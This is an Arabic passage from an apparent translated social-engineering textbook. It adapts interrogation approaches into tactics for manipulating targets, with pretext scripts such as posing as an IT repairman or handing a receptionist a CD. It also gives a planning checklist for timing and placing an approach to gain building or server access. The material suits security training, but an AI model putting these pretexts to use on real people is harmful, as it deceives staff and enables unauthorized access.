‫اﻟﻧﮭﺞ اﻟﻌﺎطﻔﻲ )‪ :(Emotional approach‬ھذا اﻟﻧﮭﺞ ﯾﻠﻌب ﻋﻠﻰ آداب‪/‬اﺧﻼق أو ﻋواطف اﻟﻣﺷﺗﺑﮫ ﺑﮫ‪ .‬ﺗﺳﺗﺧدم أﺳﺋﻠﺔ ﻣﺛل "ﻣﺎ‬
‫اﻟذي ﺳوف ﺗﻌﺗﻘده زوﺟﺗك أو أطﻔﺎك ﻋن ھذا؟" ﺣﯾث ﯾﺳﺗﺧدم ھذا ﻓﻲ ﺗﻛﺗﯾك اﻻﺳﺗﺟواب‪ .‬اﻷﻓﻛﺎر اﻟﺗﻲ أﺛﺎرت ﻋﺎطﻔﯾﺎ ﻗﻠب اﻟﻣﺷﺗﺑﮫ وﺟﻌﻠﮫ‬
‫ﻋﺻﺑﯾﺎ‪ .‬ھذه اﻟﻣﺷﺎﻋر ﺗﻌﺑر ﻋن ﻧﻔﺳﮭﺎ‪ ،‬ﯾﻣﻛن ﻟﻠﻣﺣﻘﻖ اﻻﺳﺗﻔﺎدة ﻣﻧﮭﺎ‪.‬‬
‫ﯾﻣﻛﻧك اﺳﺗﺧدام ھذا اﻟﻧﮭﺞ ﺑطرﯾﻘﺔ ﻣﻣﺎﺛﻠﺔ إﻟﻰ اﻟﺳﺎﺑﻘﺔ‪ ،‬اﻟﺗﻲ ﺗﻠﻌب ﻋﻠﻰ اﻟﺿﻌف اﻟﻣﺣدد ﻓﻲ اﻟﮭدف‪ .‬ﻋﻧد اﻻﻧﺧراط ﻓﻲ واﺣدة‪ ،‬ﺣﯾث ﺗﻌرف ان‬
‫اﻟﮭدف ﻣﮭﺗم ﺑﺎﻟﺟﻣﻌﯾﺎت اﻟﺧﯾرﯾﺔ ﻟﻸطﻔﺎل اﻟذﯾن ﯾﻌﺎﻧون ﻣن ﻣرض اﻟﺳرطﺎن‪ .‬ﻓﯾﻣﻛﻧك اﻟﻠﻌب ﻋﻠﻰ ﺗﻠك اﻟﻣﺷﺎﻋر ﺣﯾث ﺗﻛون ﻗﺎدرا ﻋﻠﻰ اﻟﺣﺻول‬
‫ﻋﻠﻰ اﻟﮭدف ﻻﺗﺧﺎذ إﺟراء ﻻ ﯾﻧﺑﻐﻲ أن ﯾؤﺧذ‪ ،‬وﺧطر ﻋﻠﯾﮫ‪.‬‬
‫اﻟﻧﮭﺞ اﻟﻣﻧطﻘﻲ )‪ :(Logical approach‬ھذا اﻟﻧﮭﺞ ﻏﯾر ﻋﺎطﻔﻲ وﯾﻘدم دﻟﯾﻼ ﻗوﯾﺎ ﺑﺎﻟذﻧب‪ .‬اﻟﻣﺣﻘﻖ ﯾﺣب اﻟﺟﻠوس ﺑﺷﻛل ﻣﻧﺗﺻب‬
‫وﯾﻛون ﻣﺛل رﺟل اﻷﻋﻣﺎل‪ ،‬واﻟﺗﻲ ﺗظﮭر اﻟﺛﻘﺔ‪.‬‬
‫ﯾﻣﻛﻧك اﺳﺗﺧدام ھذا اﻟﻧﮭﺞ ﻛﺄﻣر واﻗﻊ ﻋﻧد ﺗﻘدﯾم أدﻟﺔ ﻋﻠﻰ أﺳﺑﺎﺑك اﻟﻣﺷروﻋﺔ ﻟﻛوﻧﮫ ﻣﻣﺛل‪/‬ﺣﺎﺿر‪ ،‬ﻣﺛل ﻋﻧدﻣﺎ ﺗرﺗدى وﺗﺳﻠﺢ ﺑﺎﻋﺗﺑﺎرك ﻣﺻﻠﺢ‬
‫‪ IT‬ﻣﻊ وﺟود ﺟو ﻣن اﻟﺛﻘﺔ اﻟﺗﻲ ﺗﻧﺗﻣﻲ ﻟﮭذا‪.‬‬
‫اﻟﻧﮭﺞ اﻟﻌدواﻧﻲ )‪ :(Aggressive approach‬ﻟﻠﻣﺣﻘﻖ‪ ،‬وﺟود ﺧط رﻓﯾﻊ ﺑﯾن ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت واﻟﺗﻌدي ﻋﻠﻰ ﺣﻘوق اﻟﮭدف واﻟﺗﻲ ﻻ‬
‫ﯾﻧﺑﻐﻲ ﺗﺟﺎوزھﺎ‪ .‬ﯾﻧﺑﻐﻲ رﻓﻊ اﻟﺻوت‪ ،‬وﯾﻧﺑﻐﻲ أن ﺗﻛون ﻧظرة وﻋﻣل ﻋدواﻧﻲ‪ ،‬وﻟﻛن ﻻ ﯾﻧﺑﻐﻲ أﺑدا أن ﺗﻧﺗﮭك اﻟﺣﻘوق اﻟﻣدﻧﯾﺔ ﻟﻠﻣﺷﺗﺑﮫ ﻓﯾﮫ‪.‬‬
‫ﯾﺣﺗﺎج اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻟﻠﺣﻔﺎظ ﻋﻠﻰ ھذا اﻟﺧﯾط اﻟرﻓﯾﻊ ﻓﻲ اﻻﻋﺗﺑﺎر‪ .‬ﻛﻣﺎ ھو اﻟﺣﺎل ﺑﺎﻟﻧﺳﺑﺔ ﻟﺷرﻛﺔ ھﯾوﻟﯾت ﺑﺎﻛﺎرد‪ ،‬ﺣﯾث ﯾﺟري اﻟﺗﻌﺎﻗد‬
‫ﻟﺷرﻛﺔ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ أﻻ ﯾﻌطﯾك اﻟﺣﻖ ﻓﻲ ﻛﺳر اﻟﻘواﻧﯾن اﻟﻣدﻧﯾﺔ‪ .‬أﻛﺛر ﻣن ﺷرﻛﺔ ﺗوظﯾف ﻟك ﻻ ﯾﺣﻖ ﻟﻠﺳﻣﺎح ﻟك ﻟﻼﺳﺗﻔﺎدة ﻣن اﻟﮭواﺗف‬
‫اﻟﻣﻧزﻟﯾﺔ‪ ،‬وﻗراءة رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ اﻟﺷﺧﺻﯾﺔ‪ ،‬أو ﻏزو ﺧﺻوﺻﯾﺔ اﻟﻧﺎس‪.‬‬
‫ﻧﮭﺞ اﻟﺟﻣﻊ )‪ :(Combination approach‬أﺣد اﻟﻣﺣﻘﻘﯾن ﻗد ﯾﺟﻣﻊ ﺑﯾن اﻟﻧﮭﺟﯾن أن ﯾﻛون أﻛﺑر ﻗدر ﻣن اﻟﺗﺄﺛﯾر‪ .‬ھذا ﻣن ﺷﺄﻧﮫ أن‬
‫ﯾﺗﻘرر ﻋﻠﻰ أﺳﺎس ﺷﺧﺻﯾﺔ اﻟﻣﺷﺗﺑﮫ ﺑﮫ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪863‬‬

‫ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﻗد ﺗﺳﺗﺧدم ﻧﻔس اﻟﺗﻘﻧﯾﺔ‪ ،‬اﻟﺟﻣﻊ ﺑﯾن ھﺟﻣﺎﺗك وﻧﮭﺞ ﻷﻛﺑر ﻗدر ﻣن اﻟﺗﺄﺛﯾر‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﺑﻌد اﻛﺗﺷﺎف ﺑﻌض اﻟﺗﻔﺎﺻﯾل‬
‫اﻟﺷﺧﺻﯾﺔ ﻋن ھدف ﻣﺛل اﻟﻣﻘﮭﻰ اﻟﻣﺣﻠﻲ اﻟﻣﻔﺿل ﻟدﯾﮫ ﺣﯾث ﯾﻣﻛن اﻻﻗﺗراب ﻣن اﻟﮭدف وﺑدء اﻟﻣﺣﺎدﺛﺔ‪ .‬ﻣﺛل ھذا اﻟﺗﻛﺗﯾك‪ ،‬ﺧﺻوﺻﺎ ﻋﻧدﻣﺎ ﯾﻌﻣل‬
‫ﻓﻲ ﺟو ﻣرﯾﺢ‪ ،‬ﯾﻣﻛن أن ﺗﻘطﻊ ﺷوطﺎ طوﯾﻼ ﻧﺣو ﻓﺗﺢ اﻟﻧﺎس‪.‬‬
‫ﻧﮭﺞ ﻏﯾر ﻣﺑﺎل )‪ :(Indifferent approach‬ھذا اﻟﻧﮭﺞ ھو ﻣﺛﯾرة ﺟدا ﻟﻼھﺗﻣﺎم ﻷن اﻟﻣﺣﻘﻖ ﯾﺗﺻرف ﻛﻣﺎ ﻟو اﻧﮫ ﻻ ﯾﺣﺗﺎج اﻟﻰ‬
‫اﻋﺗراف ﻷن ﯾﺗم ﺣل اﻟﻘﺿﯾﺔ‪ .‬ﻋﻧد ھذه اﻟﻧﻘطﺔ اﻟﻣﺣﻘﻖ ﻗد ﯾﺣﺎول اﻟﺗﻼﻋب ﺑﺎﻟﻣﺷﺗﺑﮫ ﺑﮫ ﻹﻋطﺎء ﺟﺎﻧﺑﮫ ﻣن اﻟﻘﺻﺔ‪.‬‬
‫ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﻗد ﻻ ﺗﻛون ﻗﺎدرة ﻋﻠﻰ اﺳﺗﺧدام ھذا اﻟﻧﮭﺞ ﻣﺎ ﻟم ﺗدرﻛﮫ‪ .‬إذا أدرﻛت إﻧك ﻓﻲ ﻣﻧطﻘﺔ أو وﺿﻊ ﯾﺟب أﻻ ﺗﻛوﻧﮫ‪ ،‬ﯾﻣﻛﻧك‬
‫اﻟﺗﺻرف ﻏﯾر ﻣﺑﺎل ﺑدﻻ ﻣن ان ﺗﺧﺷﻰ أن ﯾﺗم اﻟﻘﺑض ﻋﻠﯾك‪ .‬اﻟﺗﺻرف ﻏﯾر ﻣﺑﺎل ﯾﻣﻛن أن ﯾﺳﺑب اﻟﺷﺧص اﻟذي أدرﻛك اﻻ ﯾﻧدھش ﻛﺛﯾرا‬
‫وﺗﺣﻣل ﻟك ﻓرﺻﺔ ﻟﺗﺑدﯾد أي ﻗﻠﻖ‪ .‬ﻛﯾﻔن ﻣﯾﺗﻧﯾك ﻛﺎن ﻛﺑﯾرا ﻓﻲ ھذه اﻟﺗﻘﻧﯾﺔ‪ .‬ﻛﺎن ﻟدﯾﮫ اﻟﻘدرة ﻋﻠﻰ اﻟﺗﻔﻛﯾر ﺑﺳرﻋﺔ ﻋﻠﻰ ﻗدﻣﯾﮫ‪ .‬أﯾﺿﺎ‪ ،‬ﯾﺗﺻرف‬
‫ﻏﯾر ﻣﺑﺎل ﻋﻧدﻣﺎ ﯾﻛون ﻓﻲ وﺿﻊ ﻏﯾر ﻣﺳﺗﻘر ﯾﺳﻣﺢ ﻟﮫ أن ﯾﺣﺻل ﻋﻠﻰ اﻟﻛﺛﯾر‪.‬‬
‫ﻧﮭﺞ ﻟﺣﻔظ ﻣﺎء اﻟوﺟﮫ )‪ :(Face-saving approach‬اﻟﻣﺣﻘﻖ ﯾﺟب ﺗرﺷﯾد اﻟﺟرﯾﻣﺔ‪ ،‬وإﻋطﺎء اﻟﻣﺗﮭم ﻣﺧرج وﻋذر ﻋﻠﻰ اﻻﻋﺗراف‬
‫وﺣﻔظ ﻣﺎء اﻟوﺟﮫ‪ .‬ﯾﺟب ﻋﻠﻰ اﻟﻣﺣﻘﻖ اﻻ ﯾﺟﻌل اﻟﻌذر ﺟﯾد ﺟدا‪ ،‬ﻣﻊ ذﻟك‪ ،‬اﻟﻣﺷﺗﺑﮫ ﺑﮫ ﯾﻣﻛن اﺳﺗﺧداﻣﮫ ﻓﻲ اﻟﻣﺣﻛﻣﺔ ﻛوﺳﯾﻠﺔ ﻟﻠدﻓﺎع‪.‬‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛن اﻻﺳﺗﻔﺎدة ﺣﻘﺎ ﻣن ھذا اﻟﻧﮭﺞ‪ .‬اﻟﻣﺣﻘﻖ ﻻ ﯾرﯾد أن ﯾﻌطﻲ اﻟﺷﺧص ﻋذر ﺟﯾد ﺟدا‪ ،‬وﻟﻛن اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻔﻌل‪.‬‬
‫ﯾرﯾد ان ﯾﻌطﻰ ﻋذر ﻟﺗﻛون ﺟﯾدة ﻟﻠﮭدف ﺣﺗﻰ ﻻ ﯾﺣﺗﺎج اﻟﺗﻔﻛﯾر ﻗﺑل ﺗرﺷﯾد ﻋذره ﻣن اﻻﻣﺗﺛﺎل ﻣﻌك‪ .‬ﻧﮭﺞ واﺣد ھو أن ﺗﻘول ان ﺷﺧص ﻋﻠﻰ‬
‫ﻣﺳﺗوى أﻋﻠﻰ ﯾطﻠب ﻣﻧك أن ﺗﻛون ھﻧﺎك‪ .‬ﯾﻣﻛﻧك ﻣﺗﺎﺑﻌﺔ ھذا اﻷﻣر ﻗﺎﺋﻼ‪" :‬أﺳﺗطﯾﻊ أن أﻓﮭم ﻛﯾف ﯾﻣﻛن أن ﺗﺷﻌر اﻵن‪ ،‬وﻟﻛن أﻧﺎ ﻻ أرﯾد ﺣﺗﻰ أن‬
‫أﺗﺧﯾل ﻛﯾف ان اﻟﺳﯾد ﺳﻣﯾث ﺳوف ﯾﺷﻌر ﺑﺎﻟﺿﯾﻖ إذا ﻟم أﻛن ھﻧﺎك اﻗوم ﺑﺈﺻﻼح ذﻟك اﻟﺧطﺄ اﻟﮭﺎﺋل ﻟﻠﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻗﺑل أن ﯾﻌود" ھذا اﻟﻧﮭﺞ‬
‫ﯾﻌطﻲ اﻟﮭدف اﻟﻘدرة ﻋﻠﻰ ﺣﻔظ ﻣﺎء اﻟوﺟﮫ واﻻﻣﺗﺛﺎل‪.‬‬
‫ﻧﮭﺞ ﻣﻐرور )‪ :(Egotistical approach‬ھذا اﻷﺳﻠوب ھو ﻛل ﺷﻲء ﻋن اﻻﻋﺗزاز‪ .‬ﻣن أﺟل أن ﯾﻌﻣل ﻓﺎﻧت ﻓﻲ ﺣﺎﺟﺔ اﻟﻰ ﻣﺷﺗﺑﮫ‬
‫ﺑﮫ ﯾﻛون ﻓﺧورا ﺟدا ﻣن إﻧﺟﺎزه‪ .‬اﻟﺗﻔﺎﺧر ﺑﺣﺳن اﻟﻣﻧظر‪ ،‬اﻻﺳﺗﺧﺑﺎرات‪ ،‬أو اﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗم ﺗﻧﻔﯾذ اﻟﺟرﯾﻣﺔ ﻗد ﺗطرق ﻣﺎ ﯾﻛﻔﻲ ﻣن اﻟﻐرور أﻧﮫ‬
‫ﯾرﯾد أن ﯾﻌﺗرف ﻹظﮭﺎر ﻟك‪ ،‬ﻓﻲ اﻟواﻗﻊ‪ ،‬ﻛﺎن ھذا اﻟذﻛﯾﺔ‪.‬‬
‫ﻓﻲ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺳﺗﺧدم ھذا اﻷﺳﻠوب‪ .‬اﻟﻌب ﻋﻠﻰ إﻧﺟﺎزات ﺷﺧص ﻣﺎ ﯾؤدى اﻟﻰ ﺳرد أﻋﻣﻖ أﺳرارھم‪.‬‬
‫ﻧﮭﺞ ﻣﺑﺎﻟﻎ )‪ :(Exaggeration approach‬إذا ﻛﺎن أﺣد اﻟﻣﺣﻘﻘﯾن ﯾﺑﺎﻟﻎ ﺑﺷﺄن ﺣﻘﺎﺋﻖ اﻟﻘﺿﯾﺔ‪ ،‬اﻟﻣﺗﮭم ﻗد ﯾﻌﺗرف ﺑﻣﺎ ھو ﺣﻘﯾﻘﻲ‪.‬‬
‫ﻣن اﻷﻣﺛﻠﺔ ﻋﻠﻰ ذﻟك إذا طﻠب أﺣد اﻟﻣﺣﻘﻘﯾن ان ﯾﺗﮭم ﻟص ﺑﺎﻟرﻏﺑﺔ ﻓﻲ ارﺗﻛﺎب اﻻﻏﺗﺻﺎب وﻗﺎﺋﻼ‪" :‬ﻣﺎ ﺷﺎن اﻟﺷﺧص ﻣن ﻛﺳر ﻏرﻓﺔ ﻧوم ﻓﻲ‬
‫ﻣﻧﺗﺻف اﻟﻠﯾل؟" ھذا ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﺳﺑب اﻟﻣﺗﮭم ﻋﻠﻰ اﻻﻋﺗراف ﻓﻘط ﺑﺎﻟﺳرﻗﺔ وﻟﯾس ارﺗﻛﺎب اﻻﻏﺗﺻﺎب‪.‬‬
‫ﯾﻣﻛﻧك أﯾﺿﺎ اﺳﺗﺧدام ھذا اﻟﻧﮭﺞ ﻣن ﺧﻼل اﻟﻣﺑﺎﻟﻐﺔ ﻓﻲ ﻣﮭﻣﺔ ﻛﻧت ھﻧﺎ ﻷداﺋﮭﺎ‪ .‬ﺑﺎﻹﻛﺛﺎر ﻣن اﻟﻣﺑﺎﻟﻐﺔ ﻓﻲ ﺳﺑب وﺟودك ھﻧﺎ ﯾﻣﻛﻧك ان ﯾﻌطﻲ‬
‫اﻟﮭدف ﺳﺑﺑﺎ ﻟﯾوﻓر ﻟك اﻟوﺻول أﻗل‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﯾﻣﻛﻧك أن ﺗﻘول‪" ،‬أﻧﺎ أﻋرف أن اﻟﺳﯾد ﺳﻣﯾث ﯾرﯾد ﻣﻧﻲ إﺻﻼح ﺟﮭﺎز اﻟﻛﻣﺑﯾوﺗر‬
‫اﻟﺧﺎص ﺑﮫ ﺷﺧﺻﯾﺎ ﻷﻧﮫ ﺧﺳر اﻟﻛﺛﯾر ﻣن اﻟﺑﯾﺎﻧﺎت‪ ،‬وﻟﻛن إذا ﻛﻧت ﻻ ﺗﺷﻌر ﺑﺎﻟراﺣﺔ ﻣﻊ ذﻟك‪ ،‬ﯾﻣﻛﻧﻧﻲ إﺻﻼح ﻣﺷﻛﻠﺗﮫ ﻣن ﻛﻣﺑﯾوﺗر آﺧر ﻓﻲ‬
‫اﻟﻣﻛﺗب" ‪.‬‬
‫إﻗﺣﺎم اﻟﻌﻠﮫ )‪ :(Wedging the alibi‬ﻧﺎدرا ﻣﺎ ﯾﻌﺗرف اﻟﻣﺗﮭم ﺑﺎﻧﺗﮭﺎﻛﺎﺗﮫ ﻛﻠﮭﺎ ﻣرة واﺣده‪ .‬اﻟﺣﺻول ﻋﻠﯾﮫ ﻟﺟﻌل اﻋﺗراﻓﺎت طﻔﯾﻔﺔ‪،‬‬ ‫ْ‬
‫ﻣﺛل أﻧﮫ ﻛﺎن ﻓﻲ اﻟﻣوﻗﻊ‪ ،‬ﯾﻣﻠك اﻟﺳﻼح ﻓﻲ اﻟﺳؤال‪ ،‬أو ﯾﻣﺗﻠك ﺳﯾﺎرة ﻣﻣﺎﺛﻠﺔ‪ ،‬ﯾﻣﻛن أن ﺗﺣرﻛﮫ ﻧﺣو اﻻﻋﺗراف أﻛﺛر وأﻛﺛر‪ ،‬ﻣﻣﺎ ﯾؤدي ﻓﻲ اﻟﻧﮭﺎﯾﺔ‬
‫إﻟﻰ اﻻﻋﺗراف اﻟﻛﺎﻣل‪.‬‬
‫رﺑﻣﺎ ﺗﺣﺻل ﻋﻠﻰ ﺗوﻗف أﺛﻧﺎء ﻋﻣل اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ واﻟﺑواب ﯾرﻓض ﻟك اﻟوﺻول إﻟﻰ اﻟﻣﺑﻧﻰ‪ .‬ﻣﻌرﻓﺔ ﻣﺎ إذا ﻛﺎن ﯾﻣﻛن "اﻟوﺻول" ﺑﺎﺳﺗﺧدام‬
‫ﺳطر ﻣﺛل ھذا‪" :‬أﻧﺎ أﻓﮭم اﻟﺳﯾد ﺳﻣﯾث ھو ﻣﺷﻐول وﻻ ﯾﻣﻛن أن ﯾﺟﺗﻣﻊ ﻣﻊ ﻟﻲ‪ .‬ھل ﺗﻣﺎﻧﻊ ﻣﻧﺣﮫ ھذا اﻟﻘرص اﻟﻣﺿﻐوط ﻣن اﻟﻣﻌﻠوﻣﺎت ﺣول‬
‫ﻣﻧﺗﺟﺎﺗﻧﺎ وﺳوف أﺗﺎﺑﻊ ﻣﻌﮫ بﻣﻛﺎﻟﻣﺔ ھﺎﺗﻔﯾﺔ ﻓﻲ وﻗت ﻻﺣﻖ اﻟﯾوم أو ﻏدا؟"‬
‫اﻟﻐﺎﯾﺔ اﻟﻨﮭﺎﺋﯿﺔ )‪(The End Goal‬‬ ‫‪-‬‬
‫ﻟﻠﺗﺣﺿﯾر ﻻﺳﺗﺧدام ﺗﻛﺗﯾﻛﺎت اﻟﻣﻘﺎﺑﻠﺔ أو اﻻﺳﺗﺟواب اﻟﺳﻠﯾم‪ ،‬ﻛﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﻗد ﺗرﻏب ﻓﻲ اﻹﺟﺎﺑﺔ ﻋﻠﻰ ﺑﻌض اﻷﺳﺋﻠﺔ اﻟﺧﺎﺻﺔ ﺑك‪ .‬وأھﯾب‬
‫ﺑﻛم ﻟﻛﺗﺎﺑﺔ ھذه أﺳﻔل اﻟﻣﻔﻛرة ﻷن ذﻟك ﯾﻣﻛن أن ﺗﺳﺎﻋدك ﻋﻠﻰ اﻟﺗﺣﺿﯾر ﻟﻠﻘﺎء ﻣﻊ اﻟﮭدف‪ .‬ﺑﺎﻹﺿﺎﻓﺔ اﻟﻰ ذﻟك‪ ،‬ﺗدوﯾن إﺟﺎﺑﺎﺗك ﯾﺟﻌﻠﮭﺎ ﺣﻘﯾﻘﯾﺔ‬
‫وﯾﻌطﯾك ﻣﺳﺎر ﻟﻠﻌﻣل ﻋﻠﻰ ﺧﻼل اﻟﺗﺣﺿﯾر ﻻﺳﺗﺟواب اﻟﺧﺎص‪.‬‬
‫اﻹﺟﺎﺑﺔ ﻋﻠﻰ ھذه اﻷﺳﺋﻠﺔ‪:‬‬
‫ﻣن )‪ :(who‬ﻣﻊ ﻣن ھذا اﻻﺳﺗﺟواب أو اﻟﺗواﺟﮫ اﻟذي ﺳوف ﯾﺟري؟ ﻣﺎ ھو اﻟدور اﻟذي ﻛﺎن ﯾﻠﻌب؟ ﻗﺎﺋﻣﺔ ﺑﺎﻷﺳﻣﺎء‪ ،‬واﻟﻌﻧﺎوﯾن‪ ،‬وﻏﯾرھﺎ ﻣن‬
‫اﻟﻣﻌﻠوﻣﺎت ﻋﻧﮫ اﻟﺗﻲ ھﻲ ذات اﻟﺻﻠﺔ ﺑﺎﻻﺳﺗﺟواب‪.‬‬
‫ﻣﺎ‪/‬ﻣﺎذا )‪ :(What‬ﺑﺎﻟﺿﺑط ﻣﺎ اﻻﻋداد اﻟذي ﺗم وﻣﺎذا ﺳﯾﻛون ھدﻓك أﺛﻧﺎء اﻻﺳﺗﺟواب؟ ﯾﺟب أن ﯾﻛون ﻟدﯾك ھدف ﻣﺣدد‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪864‬‬

‫ﻣﺗﻰ )‪ :(When‬ﻣﺎ ھو اﻹطﺎر اﻟزﻣﻧﻲ اﻻﺳﺗﺟواب؟ ﻓﻲ أي وﻗت ﻣن اﻟﻧﮭﺎر أو اﻟﻠﯾل؟ ﻣﺎ ھﻲ اﻟظروف اﻟﺳﺎﺋدة ﺣﯾث اﻷﻋﻣﺎل ﺗؤدي إﻟﻰ ھذا‬
‫اﻟﻘرار ﺣول ﻣﺗﻰ اﻟﻘﯾﺎم ﺑﺣرﻛﺗك‪/‬ﻋﻣﻠك؟ ھل ﺳﯾﻛون ﻓﻲ وﻗت اﻟﺣﻔل اﻟذي ﺳﻣﻌت ﻋﻧﮫ؟ ھل ﺳﯾﻛون ﻓﻲ اﻟوﻗت اﻟذي ﻓﯾﮫ ﺟزء ﻛﺑﯾر ﻣن اﻟﻌﺎﻣﻠﯾن‬
‫ھم ﻓﻲ اﺟﺎزة؟ ھل ﺳﯾﻛون ﻓﻲ وﻗت اﻟﻐداء؟ ھل ﺳﯾﻛون ﻓﻲ وﻗت ﺗﻐﯾﯾر ﻣوظﻔﻲ اﻷﻣن؟‬
‫اﯾن )‪ :(Where‬ﻣﺎ ھو ﻣوﻗﻊ اﻻﺳﺗﺟواب؟ ھل اﻧت ذاھب ﻟﺗﻛون ﻓﻲ ﻣﻛﺎن اﻟﮭدف؟ ھل ﺗﺗﺑﻊ اﻟﺷﺧص ﻓﻲ اﻟﺻﺎﻟﺔ اﻟرﯾﺎﺿﯾﺔ‪ ،‬ﻣﻘﮭﻰ ﻣﺣﻠﻲ‪ ،‬أو‬
‫ﻓﻲ ﻣﻛﺎن اﻟرﻋﺎﯾﺔ اﻟﻧﮭﺎرﯾﺔ؟ أﯾن ھو أﻓﺿل ﻣﻛﺎن ﻟﻣﺣﺎوﻟﺔ اﻟﺣﺻول ﻋﻠﻰ ﻣﺎ ﺗﺣﺗﺎﺟﮫ ﻣن ﻣﻌﻠوﻣﺎت ﻋن اﻟﮭدف؟‬
‫ﻟﻣﺎذا )‪ :(Why‬اﻟﻧﺎس ﺗﺳﻣﻊ ھذا اﻟﺳؤال ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن ﻣﺎ ﯾﻛﻔﻲ ﻣن اﻷطﻔﺎل‪ ،‬وﻟﻛﻧﮫ ﯾﺟب أن ﯾﺳﺎل‪ .‬ﻣﺎ ھو اﻟﻐرض ﻣن ھذا اﻻﺳﺗﺟواب؟‬
‫ﻟﺟﻌل اﻟﮭدف ﯾﻌﺗرف ﺑﻣوﻗﻊ أي ﺷﻲء؟ ﻟﺟﻌﻠﮫ ﯾﻌطﯾﻧﺎ أي ﻣن اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﻻ ﯾﻧﺑﻐﻲ ﻟﮫ؟ ﻟﺗﺗﻣﻛن ﻣن اﻟوﺻول إﻟﻰ ﻏرﻓﺔ أو اﻟﺧﺎدم؟‬
‫ﻛﯾف )‪ :(How‬ﻣﺎ ھﻲ اﻟطرق اﻟﺗﻲ ﺳﺗﺳﺗﺧدﻣﮭﺎ ﻓﻲ ھذا اﻻﺳﺗﺟواب؟ اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ؟ اﻷواﻣر اﻟﻣﺿﻣﻧﺔ؟ ‪Human buffer overflow‬‬
‫؟‪ Microexpressions‬؟‬
‫ﺑﺎﻟطﺑﻊ‪ ،‬ﻓﻲ اﻻﺳﺗﺟواب اﻟﺟﻧﺎﺋﻲ اﻟﮭدف ھو اﻻﻋﺗراف ﺑﺎﻟﺟرﯾﻣﺔ‪ .‬ﻣﻊ اﻻﺳﺗﺟواب ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ اﻟﮭدف ﻣن ذﻟك ھو اﻋﺗراف ﻣن ﻧوع‬
‫ﻣﺧﺗﻠف‪ .‬ﺗرﯾد أن ﯾﺷﻌر اﻟﻧﺎس ﺑﺎﻟراﺣﺔ ﯾﻌطﯾك اﻟﻣﻌﻠوﻣﺎت‪ ،‬اﺳﺗﺧدام ﺗﻛﺗﯾﻛﺎت اﺳﺗﺟواب ﻧوﻗﺷت ﻓﻲ وﻗت ﺳﺎﺑﻖ ﯾﻣﻛﻧك ﺟﻌل ھذا أﺳﮭل ﻟﻠﻘﯾﺎم ﺑﮫ‪.‬‬
‫ﻓﻲ اﻟﻧﮭﺎﯾﺔ‪ ،‬ﯾﺟب أن ﯾﻛون اﺳﺗﺟواب اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﺧﺎﺻﺔ ﺑك ﻣﺛل اﻟﻣﻘﺎﺑﻼت ﻋﻠﻰ ﻧﺣو ﺳﻠس‪ .‬وﻣﻊ ذﻟك‪ ،‬ﯾﻣﻛن ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‬
‫اﺳﺗﺧدام ﺑﻌض ﺗﻘﻧﯾﺎت أﺧرى ﻟﻠﻣﺳﺎﻋدة أﺛﻧﺎء اﺳﺗﺧدام ﺗﻛﺗﯾﻛﺎت اﻟﻣﻘﺎﺑﻠﺔ واﻻﺳﺗﺟواب ﻋﻠﻰ اﻟﮭدف‪.‬‬

‫)‪Understanding the Language of the Hands (Gesturing‬‬

‫ﻛﻣﺎ ﯾﺗﺣدث اﻟﻠﺳﺎن إﻟﻰ اﻷذن‪ ،‬ﺗﺗﺣدث إﺷﺎرات اﻟﯾد‪/‬اﻻﯾﻣﺎءات اﻟﻰ اﻟﻌﯾن‪.‬‬
‫اﻟﻣﻠك ﺟﯾﻣس اﻷول‬
‫اﻟﺑﺷر ﻓرﯾدون ﻣن ﻧوﻋﮭم ﻓﻲ طرﯾﻘﺔ ﺗواﺻﻠﮭم ﺑﺄﯾدھم ﻋﻠﻰ ﻧطﺎق واﺳﻊ وﺑﻧﺳب ﻣﺧﺗﻠﻔﺔ‪ .‬اﻹﺷﺎرات‪/‬اﻹﯾﻣﺎءات ﻟﮭﺎ ﺗﺑﺎﯾن واﺳﻊ ﯾرﺟﻊ ذﻟك إﻟﻰ‬
‫ﺣﻘﯾﻘﺔ أﻧﮭﺎ ﺗﻌﺗﻣد ﻛﺛﯾرا ﻋﻠﻰ اﻟﺛﻘﺎﻓﺔ‪ .‬ﺗﻌطﻲ ﻣﻌظم ﺣرﻛﺎت اﻟﯾد ﻣﻌﺎن رﻣزﯾﺔ ﯾﻔﮭﻣﮭﺎ اﻹﻧﺳﺎن‪ ،‬ﻏﯾر أن اﻟﻣﻌﻧﻰ ﻗد ﯾﺧﺗﻠف ﻣن ﺷﺧص ﻵﺧر‬
